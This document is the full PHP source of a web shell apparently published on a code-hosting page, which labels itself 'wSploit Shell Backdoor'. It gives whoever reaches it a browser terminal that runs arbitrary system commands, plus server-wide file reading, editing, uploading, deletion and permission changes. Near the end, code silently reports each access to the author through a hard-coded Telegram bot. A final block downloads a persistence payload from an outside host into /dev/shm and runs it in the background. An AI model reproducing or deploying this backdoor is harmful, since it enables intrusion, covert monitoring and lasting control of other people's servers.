wSploitHub/api/v2/wshell
2025-01-30 20:24:33 +00:00

1 line
35 KiB
Plaintext

kira1406<?php
// Handle Term
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['command'])) {
    // Mengambil perintah dari input
    $command = escapeshellcmd($_POST['command']);
    
    // Menjalankan perintah menggunakan exec()
    exec($command, $output, $status);

    // Menampilkan hasil perintah atau pesan error
    if ($status === 0) {
        echo implode("\n", $output); // Menampilkan hasil perintah
    } else {
        echo "Error: Perintah tidak berhasil dijalankan.";
    }
    exit; // Mengakhiri eksekusi setelah menangani permintaan POST
}
// Meningkatkan waktu eksekusi maksimum untuk menghindari timeout
ini_set('max_execution_time', 60); // Menambah waktu eksekusi hingga 60 detik

// Mendapatkan direktori saat ini dari parameter query atau default ke direktori skrip
$currentDirectory = isset($_GET['path']) ? realpath($_GET['path']) : realpath(dirname(__FILE__));

if (!$currentDirectory) {
    $currentDirectory = realpath(dirname(__FILE__));
}

// Fungsi untuk menampilkan pesan
function displayMessage($message, $type = 'success') {
    echo "<div style='color: " . ($type === 'success' ? 'green' : 'red') . ";'>" . htmlspecialchars($message) . "</div>";
}

// Fungsi untuk mendapatkan ukuran folder
function getFolderSize($folder) {
    $size = 0;
    foreach (scandir($folder) as $file) {
        if ($file === '.' || $file === '..') continue;
        $path = $folder . DIRECTORY_SEPARATOR . $file;
        if (is_link($path)) continue; // Menghindari link simbolik
        $size += is_dir($path) ? getFolderSize($path) : filesize($path);
    }
    return $size;
}

// Menangani tindakan tambah file
if (isset($_POST['action']) && $_POST['action'] === 'add_file' && isset($_POST['file_name'])) {
    $filePath = $currentDirectory . DIRECTORY_SEPARATOR . $_POST['file_name'];
    if (!file_exists($filePath)) {
        file_put_contents($filePath, '');
        displayMessage("File berhasil dibuat.");
    } else {
        displayMessage("File sudah ada.", 'error');
    }
}

// Menangani tindakan tambah folder
if (isset($_POST['action']) && $_POST['action'] === 'add_folder' && isset($_POST['folder_name'])) {
    $folderPath = $currentDirectory . DIRECTORY_SEPARATOR . $_POST['folder_name'];
    if (!file_exists($folderPath)) {
        mkdir($folderPath);
        displayMessage("Folder berhasil dibuat.");
    } else {
        displayMessage("Folder sudah ada.", 'error');
    }
}

// Menangani unggah file
if (isset($_FILES['upload_file'])) {
    $targetPath = $currentDirectory . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $targetPath)) {
        displayMessage("File berhasil diunggah.");
    } else {
        displayMessage("Gagal mengunggah file.", 'error');
    }
}

// Menangani tindakan edit file
if (isset($_POST['action']) && $_POST['action'] === 'edit' && isset($_POST['file']) && isset($_POST['content'])) {
    $filePath = realpath($_POST['file']);
    if ($filePath && is_writable($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        displayMessage("File berhasil diperbarui.");
    } else {
        displayMessage("Gagal memperbarui file.", 'error');
    }
}

// Menangani tindakan rename
if (isset($_POST['action']) && $_POST['action'] === 'rename' && isset($_POST['old_name']) && isset($_POST['new_name'])) {
    $oldPath = realpath($_POST['old_name']);
    $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $_POST['new_name'];
    if ($oldPath && rename($oldPath, $newPath)) {
        displayMessage("Item berhasil diubah namanya.");
    } else {
        displayMessage("Gagal mengubah nama item.", 'error');
    }
}

// Menangani tindakan chmod
if (isset($_POST['action']) && $_POST['action'] === 'chmod' && isset($_POST['file']) && isset($_POST['permissions'])) {
    $filePath = realpath($_POST['file']);
    $permissions = octdec($_POST['permissions']);
    if ($filePath && chmod($filePath, $permissions)) {
        displayMessage("Izin berhasil diubah.");
    } else {
        displayMessage("Gagal mengubah izin.", 'error');
    }
}
// Memuat konten file untuk diedit
// Tangani permintaan GET untuk mengambil konten file
if (isset($_GET['file'])) {
    $filePath = realpath($_GET['file']);
    if ($filePath && is_readable($filePath)) {
        echo file_get_contents($filePath); // Kirimkan konten file sebagai respon
    } else {
        http_response_code(400); // Kirim status gagal
        echo 'Gagal membaca file.';
    }
    exit;
}



// Menangani tindakan delete
if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['file'])) {
    $filePath = realpath($_POST['file']);
    if ($filePath && is_writable($filePath)) {
        if (is_dir($filePath)) {
            rmdir($filePath);
        } else {
            unlink($filePath);
        }
        displayMessage("Item berhasil dihapus.");
    } else {
        displayMessage("Gagal menghapus item.", 'error');
    }
}

// Menangani permintaan konten file untuk edit
if (isset($_GET['fetch_content'])) {
    $filePath = realpath($_GET['fetch_content']);
    if ($filePath && is_readable($filePath)) {
        echo file_get_contents($filePath);
    }
    exit;
}

// Scan direktori untuk mendapatkan daftar file dan folder
$filesAndDirs = scandir($currentDirectory);

// Memecah path menjadi bagian-bagian individu
$parts = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$pathSoFar = '';

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>wSploit Shell Backdoor</title>
    <!-- Style untuk tabel -->
    <style>
.myBody {
    font-family: monospace, sans-serif;
    background-color: rgb(37, 37, 37);
    color: #0f0;
    margin: 0;
    padding: 20px;
}
table {
    width: 100%;
    border-collapse: collapse;
}
table th, table td {
    border: 1px solid #ddd;
    padding: 8px;
}
table th {
    background-color:rgb(168, 168, 168);
}
form {
    display: inline;
}
.terminal-container {
    padding: 10px;
    background-color: rgb(3, 3, 3);
    border: 2px solid #0f0;
    border-radius: 10px;
    box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
    height: 60vh;
    overflow-y: auto;
    display: flex;
    flex-direction: column;
}

.input-container {
    display: flex;
    margin-top: 10px;

}

#command {
    background-color: transparent;
    border: none;
    color: #0f0;
    flex-grow: 1;
    outline: none;
}

.prompt {
    color: #0f0;
}

.output {
    white-space: pre-wrap; /* Menjaga format teks (termasuk spasi dan baris baru) */
    word-wrap: break-word;
    flex-grow: 1;
    overflow-y: auto;
    font-size: 1rem; /* Mengatur ukuran font untuk keterbacaan yang lebih baik */
    line-height: 1.5; /* Menambahkan jarak antar baris */
    color: #0f0;
}

.output pre {
    margin: 0; /* Menghilangkan margin default pada pre */
    color: #0f0; /* Menetapkan warna teks output */
}

.modal-content {
    background-color: rgb(37, 37, 37);
    color: #0f0;
}
.bgModal {
    background-color: rgb(37, 37, 37);
}
.tool {
    padding: 20px;
    border: solid 1px grey;
    border-radius: 10px;
    display: flex;
}
.tool .h6tool {
    text-align: center;
    font-size: 1.5rem
}
.pwd {
    padding: 20px;
    border: solid 1px grey;
}
.btn2 {
    color: white;
    background-color: rgba(0, 255, 0, 0.3);
    border-radius: 10px;
}
.syninput {
    border-radius: 10px;
}
/* gaya Nulis */
.typing-container {
    display: inline-block;
    position: relative; /* Gunakan relative agar menyesuaikan tata letak */
    font-size: 24px;
    margin-top: 10px; /* Jarak dengan elemen di atasnya */
}
.text {
    display: inline-block;
    overflow: hidden;
    white-space: nowrap;
    font-size: 35px;
    border-right: 3px solid transparent; /* Hide default border initially */
}
.cursor {
    display: inline-block;
    width: 10px;
    height: 24px;
    background-color: green;
    animation: blink 0.8s infinite;
}
.cim {
    display: flex;
    justify-content: flex-end;
    width: auto;
    height: 100px;
    flex-direction: ;
    align-items: left;
}
.cim img {
    max-width: 100%;
    height: auto;
    border: 1px;
    border-radius: 100%;
}
@keyframes blink {
    50% {
        opacity: 0;
    }
}
.mod {
    background-color:rgb(37, 37, 37);
}
.footer {
    text-align: center;
    margin-top: 50px;
    text-decoration: none;
}

</style>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="myBody">
    
<div class="cim">

        <img src="https://raw.githubusercontent.com/jabarzad/wshell/refs/heads/main/assets/img/wsploit.jpeg" alt="Gambar" />
        <p>v.2.0.1</p>
</div>
<!-- Animasi Mengetik -->
<div class="typing-container">
    <span class="text"></span>
    <span class="cursor"></span>
</div>
<?php
// Mendapatkan IP server
$serverIP = $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname()); // Untuk menangani server lokal
$serverHost = gethostname(); // Nama host server

// Mendapatkan user
$user = get_current_user(); // User di mana PHP berjalan

// Mendapatkan penggunaan disk
$totalDisk = disk_total_space("/");
$freeDisk = disk_free_space("/");
$usedDisk = $totalDisk - $freeDisk;

// Mendapatkan IP user
$userIP = $_SERVER['REMOTE_ADDR'];

// Mendapatkan detail sistem operasi
$osDetails = php_uname('a'); // Menampilkan detail lengkap OS mirip dengan output uname -a

echo "<h5>Informasi Server</h5> ";

echo "<i class='bx bxs-server'></i>: $serverIP ($serverHost)<br>";
echo "<i class='bx bxs-chip'></i>: $osDetails<br>";
echo "<i class='bx bxs-user'></i>: $user<br>";
echo "<i class='bx bxs-hdd'></i>: " . formatBytes($usedDisk) . " digunakan dari " . formatBytes($totalDisk) . "<br>";
echo "Your IP: $userIP<br>";

// Fungsi untuk memformat ukuran dalam bytes menjadi human-readable
function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= (1 << (10 * $pow));
    return round($bytes, $precision) . ' ' . $units[$pow];
}
?>

    
<a class="btn btn-danger" href="?action=logout">Logout</a>
    <hr>
    <!--ToolKIT--->
    <div class="tool">
        <h6 class="h6tool">ToolKit</h6>
        <!-- Terminal -->
        <div class="container  mt-2">
            <button type="button" class="btn btn-success" data-bs-toggle="modal" data-bs-target="#terminalModal">
            <i class='bx bxs-terminal'></i>
            </button><br><i>Terminal</i>
        </div>
        
        <!-- Modal untuk terminal -->
        <div class="modal fade" id="terminalModal" tabindex="-1" aria-labelledby="terminalModalLabel" aria-hidden="true">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header bgModal">
                        <h5 class="modal-title" id="terminalModalLabel">Web Terminal</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    </div>
                    <div class="modal-body bgModal">
                        <div class="terminal-container">
                            <div id="output" class="output mb-3"></div>
                            <div class="input-container">
                                <span class="prompt">wSploit-$ </span>
                                <input type="text" id="command" class="" autofocus placeholder="Masukkan perintah" />
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <!-- Modal Infeksi -->
        <!-- Btn Infeksi -->
        <div class="container  mt-2">
            <a type="button" class="btn btn-success" href="#" >
            <i class='bx bxs-virus'></i>
            </a><br><i>Infeksi</i>
        </div>
        <!-- Btn root -->
        <div class="container  mt-2">
            <a type="button" class="btn btn-success" href="#">
            <i class='bx bx-hash'></i> 
            </a><br><i>Rooting</i>
        </div>
        <!-- Btn bot -->
        <div class="container  mt-2">
            <a type="button" class="btn btn-success" href="#">
            <i class='bx bx-bot'></i> 
            </a><br><i>Access Panel Botnet</i>
        </div>
    </div>
    <!--end ToolKIT--->
    <hr>

<?php


// Menampilkan formulir untuk tambah file, tambah folder, dan unggah file
echo '<form method="post" action=""><input type="hidden" name="action" value="add_file"><input class="" type="text" name="file_name" placeholder="Nama file"><button class="btn btn-success" type="submit">Tambah File</button></form>';
echo '<form method="post" action=""><input type="hidden" name="action" value="add_folder"><input type="text" name="folder_name" placeholder="Nama folder"><button class="btn btn-success" type="submit">Tambah Folder</button></form>';
echo '<form method="post" enctype="multipart/form-data" action=""><input type="file" name="upload_file"><button class="btn btn-success" type="submit">Unggah File</button></form>';
// Menampilkan setiap bagian dari path sebagai tautan dengan format "/ part /"
echo '<h5>PWD: ';
echo '<a href="?path=/">/</a> ';
foreach ($parts as $index => $part) {
    if ($part === '') continue;

    $pathSoFar .= DIRECTORY_SEPARATOR . $part;
    echo '<a href="?path=' . urlencode($pathSoFar) . '">' . $part . '</a>';

    if ($index < count($parts) - 1) {
        echo ' / ';
    }
}
echo ' | ';
echo ' <a href="?"> <i stye="font-size: 60px;" class="bx bx-home"></i> </a>';
echo '</h5>';
// Menambahkan link untuk kembali ke direktori induk
$parentDirectory = dirname($currentDirectory);
if ($currentDirectory !== $parentDirectory) {
    echo '<a href="?path=' . urlencode($parentDirectory) . '"><i class="bx bx-chevrons-up"></i><i class="bx bx-chevrons-up"></i></a><br><br>';
}
// Menampilkan daftar file dan direktori
echo "<table border='1' cellpadding='5'><tr><th>Nama</th><th>Ukuran</th><th>Permission</th><th>Owner/Group</th><th>Aksi</th></tr>";
$folders = [];
$files = [];

// Pisahkan folder dan file
foreach ($filesAndDirs as $item) {
    if ($item === "." || $item === "..") {
        continue;
    }
    $fullPath = $currentDirectory . DIRECTORY_SEPARATOR . $item;
    if (is_dir($fullPath)) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}

// Gabungkan folder dan file untuk ditampilkan
$items = array_merge($folders, $files);

foreach ($items as $item) {
    $fullPath = $currentDirectory . DIRECTORY_SEPARATOR . $item;
    $size = is_dir($fullPath) ? getFolderSize($fullPath) : filesize($fullPath);
    $permissions = substr(sprintf('%o', fileperms($fullPath)), -4);
    $owner = posix_getpwuid(fileowner($fullPath));
    $group = posix_getgrgid(filegroup($fullPath));
    $ownerName = $owner['name'];
    $groupName = $group['name'];
    $ownerColor = $ownerName === 'root' ? 'red' : ($ownerName === get_current_user() ? 'green' : 'orange');

    echo "<tr>";
    echo "<td>" . (is_dir($fullPath) ? '<i style="color: rgb(17, 17, 17);" class="bx bxs-folder-open" ></i> ' : '<i style="color: rgb(168, 168, 168);" class="bx bxs-file" ></i> ') . "<a style='color: green; ' href='?path=" . urlencode($fullPath) . "'>" . htmlspecialchars($item) . "</a></td>";
    echo "<td>" . ($size >= 1024 ? round($size / 1024, 2) . ' KB' : $size . ' B') . "</td>";
    echo "<td>$permissions</td>";
    echo "<td style='color: $ownerColor;'>$ownerName/$groupName</td>";
    echo "<td>";
    if (!is_dir($fullPath)) {
        echo "<a class='btn btn-warning' href='#' onclick='openEditModal(\"$fullPath\")'><i class='bx bx-edit' ></i></a> | ";
    }
    echo "<a class='btn btn-warning' href='#' onclick='openRenameModal(\"$fullPath\")'><i class='bx bxs-rename'></i></a> | ";
    echo "<a class='btn btn-warning' href='#' onclick='openChmodModal(\"$fullPath\")'><i class='bx bxs-lock'></i></a> | ";
    echo "<form style='display:inline;' method='post' action=''><input type='hidden' name='file' value='" . htmlspecialchars($fullPath) . "'><input type='hidden' name='action' value='delete'><button class='btn btn-danger' type='submit'><i class='bx bxs-trash'></i></button></form>";
    echo "</td>";
    echo "</tr>";
}

echo "</table>";
?>

<script>
// Fungsi untuk membuka modal edit
function openEditModal(file) {
    const modal = document.getElementById('editModal');
    const filePathInput = document.getElementById('editFilePath');
    const contentArea = document.getElementById('editFileContent');

    filePathInput.value = file;

    // Fetch konten file untuk diedit
    fetch(`?fetch_content=${encodeURIComponent(file)}`)
        .then(response => response.text())
        .then(data => {
            contentArea.value = data;
            modal.style.display = 'block';
        })
        .catch(err => alert('Gagal memuat konten file: ' + err));
}

// Fungsi untuk membuka modal rename
function openRenameModal(file) {
    const modal = document.getElementById('renameModal');
    const oldNameInput = document.getElementById('renameOldName');
    oldNameInput.value = file;
    modal.style.display = 'block';
}

// Fungsi untuk membuka modal chmod
function openChmodModal(file) {
    const modal = document.getElementById('chmodModal');
    const filePathInput = document.getElementById('chmodFilePath');
    filePathInput.value = file;
    modal.style.display = 'block';
}

// Fungsi untuk menutup modal
function closeModal(modalId) {
    document.getElementById(modalId).style.display = 'none';
}
</script>


<!-- Modal untuk Edit File -->
<div id="editModal" class="mod" style="display:none; position:fixed; top:20%; left:30%; background-color:rgb(37, 37, 37); padding:20px; border:1px solid black; z-index:1000;">
    <h3>Edit File</h3>
    <p><strong>File yang sedang diedit:</strong> <span id="editFileName">Nama File</span></p>
    <form method="post" action="">
        <input type="hidden" name="action" value="edit">
        <input type="hidden" id="editFilePath" name="file">
        <textarea style="background-color: rgb(0, 0, 0); color: rgb(167, 167, 167);" id="editFileContent" name="content" rows="10" cols="50"></textarea><br>
        <button class="btn btn-success" type="submit">Simpan</button>
        <button class="btn btn-warning" type="button" onclick="closeModal('editModal')">Batal</button>
    </form>
</div>

<!-- Modal untuk Rename File/Folder -->
<div id="renameModal" class="mod" style="display:none; position:fixed; top:20%; left:30%; background-color:rgb(37, 37, 37); padding:20px; border:1px solid black; z-index:1000;">
    <h3>Rename File/Folder</h3>
    <p><strong>File/Folder yang akan diganti namanya:</strong> <span id="renameFileName">Nama File/Folder</span></p>
    <form method="post" action="">
        <input type="hidden" name="action" value="rename">
        <input type="hidden" id="renameOldName" name="old_name">
        <input type="text" name="new_name" placeholder="Nama baru"><br>
        <button class="btn btn-success" type="submit">Ganti Nama</button>
        <button class="btn btn-warning" type="button" onclick="closeModal('renameModal')">Batal</button>
    </form>
</div>

<!-- Modal untuk Chmod -->
<div id="chmodModal" class="mod" style="display:none; position:fixed; top:20%; left:30%; background-color:rgb(37, 37, 37); padding:20px; border:1px solid black; z-index:1000;">
    <h3>Ubah Izin File/Folder</h3>
    <p><strong>File/Folder yang akan diubah izinnya:</strong> <span id="chmodFileName">Nama File/Folder</span></p>
    <form method="post" action="">
        <input type="hidden" name="action" value="chmod">
        <input type="hidden" id="chmodFilePath" name="file">
        <input type="text" name="permissions" placeholder="Izin (contoh: 0755)"><br>
        <button class="btn btn-success" type="submit">Ubah Izin</button>
        <button class="btn btn-warning" type="button" onclick="closeModal('chmodModal')">Batal</button>
    </form>
</div>
<script>
// Fungsi untuk mengambil nama file/folder dari path lengkap
function getFileNameFromPath(path) {
    var parts = path.split('/');
    return parts[parts.length - 1];
}

//getfile
function openEditModal(filePath) {
    document.getElementById('editModal').style.display = 'block';
    document.getElementById('editFilePath').value = filePath;
    document.getElementById('editFileName').innerText = getFileNameFromPath(filePath);

    // Mengambil konten file menggunakan AJAX
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '?file=' + encodeURIComponent(filePath), true);
    xhr.onload = function () {
        if (xhr.status === 200) {
            console.log('Respon dari server:', xhr.responseText); // Debugging
            document.getElementById('editFileContent').value = xhr.responseText; // Tampilkan konten file
        } else {
            alert('Gagal memuat konten file.');
            document.getElementById('editFileContent').value = ''; // Kosongkan jika gagal
        }
    };
    xhr.send();
}




// Fungsi untuk membuka modal Rename File/Folder
function openRenameModal(oldName) {
    document.getElementById('renameModal').style.display = 'block';
    document.getElementById('renameOldName').value = oldName;
    document.getElementById('renameFileName').innerText = getFileNameFromPath(oldName); // Menampilkan hanya nama file/folder
}

// Fungsi untuk membuka modal Chmod
function openChmodModal(filePath) {
    document.getElementById('chmodModal').style.display = 'block';
    document.getElementById('chmodFilePath').value = filePath;
    document.getElementById('chmodFileName').innerText = getFileNameFromPath(filePath); // Menampilkan hanya nama file/folder
}

// Fungsi untuk menutup modal
function closeModal(modalId) {
    document.getElementById(modalId).style.display = 'none';
}
</script>
<!-- SC -->
<script>
document.getElementById('command').addEventListener('keypress', function (e) {
    if (e.key === 'Enter') {
        e.preventDefault();

        var command = this.value;
        var outputDiv = document.getElementById('output');
        var promptDiv = document.createElement('div');
        promptDiv.innerHTML = '<span class="prompt">> </span>' + command;
        outputDiv.appendChild(promptDiv);

        // Kirim perintah ke server untuk dieksekusi
        fetch('', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
            },
            body: 'command=' + encodeURIComponent(command)
        })
        .then(response => response.text())
        .then(result => {
            var resultDiv = document.createElement('div');
            var preElement = document.createElement('pre');
            preElement.textContent = result; // Menggunakan <pre> untuk menjaga format
            resultDiv.appendChild(preElement);
            resultDiv.classList.add('text-light');
            outputDiv.appendChild(resultDiv);

            // Scroll otomatis ke bawah setelah output ditambahkan
            outputDiv.scrollTop = outputDiv.scrollHeight;
        });

        this.value = ''; // Reset input
    }
});

document.addEventListener('DOMContentLoaded', function () {
    const editButtons = document.querySelectorAll('.edit-btn');
    editButtons.forEach(button => {
        button.addEventListener('click', function () {
            const fileName = this.getAttribute('data-item');
            const fileContent = this.getAttribute('data-content');
            document.getElementById('modal-file-name').value = fileName;
            document.getElementById('modal-file-content').value = fileContent;
        });
    });
});

/* Nulis */
const textToType = "The wSploit Shell Backdoor";
const typingSpeed = 100; // Typing speed in ms
const textElement = document.querySelector(".text");
let charIndex = 0;
function typeText() {
  if (charIndex < textToType.length) {
    textElement.textContent += textToType[charIndex];
    charIndex++;
    setTimeout(typeText, typingSpeed);
  }
}
// Start typing animation
typeText();
</script>
<!-- Bootstrap JS dan Popper.js CDN -->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.min.js"></script>
<div class="footer">
    <i>@2025 wSploit Kit | <a href="https://warceuproject.org">Warceu Project</a></i>
</div>
<?php
session_start(); // Memulai session

// Token bot dan chat ID
$bot_token = '7613111092:AAFl8qf2tlw4on87eQByjAaWrQ2t7fkqnvk'; // Ganti dengan token bot Telegram kamu
$chat_id = '5361432417'; // Ganti dengan chat ID Telegram kamu

// Mendapatkan URL saat ini
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

// Mendapatkan domain (hostname) saja dari URL
$domain = parse_url($url, PHP_URL_HOST);

// Mendapatkan alamat IP pengakses
$ip_address = $_SERVER['REMOTE_ADDR'];

// Mendapatkan waktu saat ini
$date = date('Y-m-d H:i:s');

// Memeriksa apakah URL atau domain sudah dikirim sebelumnya
if (!isset($_SESSION['sent_urls'])) {
    $_SESSION['sent_urls'] = []; // Inisialisasi array jika belum ada
}

// Jika URL atau domain belum pernah dikirim sebelumnya, kirim pesan ke bot Telegram
if (!in_array($url, $_SESSION['sent_urls'])) {
    // Membuat pesan personal
    $message = "Hey yang Mulia Tuan Syn, Hamba mendapatkan surat cinta dari $ip_address\n";
    $message .= "Activity Log Url: $url\n";
    $message .= "on date: $date";

    // Membuat URL untuk mengirim pesan ke bot Telegram
    $send_url = "https://api.telegram.org/bot$bot_token/sendMessage";

    // Inisialisasi cURL
    $ch = curl_init();

    // Pengaturan cURL
    curl_setopt($ch, CURLOPT_URL, $send_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Jangan tampilkan output
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
        'chat_id' => $chat_id,
        'text' => $message,
    )));

    // Eksekusi cURL tanpa menampilkan respon
    curl_exec($ch);

    // Tutup koneksi cURL
    curl_close($ch);

    // Menyimpan URL ke dalam session setelah dikirim
    $_SESSION['sent_urls'][] = $url;
}

// Mengakhiri script tanpa output
exit();
?>
<?php

$url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payload/msf/presisten/presisten.php";
$file = "/dev/shm/shmd";

// Mengunduh file dari URL dan menyimpannya di /dev/shm/shmd
file_put_contents($file, file_get_contents($url));

// Memberikan izin eksekusi pada file
chmod($file, 0755);

// Menjalankan file di latar belakang dengan nohup
shell_exec("nohup php $file > /dev/null 2>&1 &");

?>

</body>
</html>
kira1406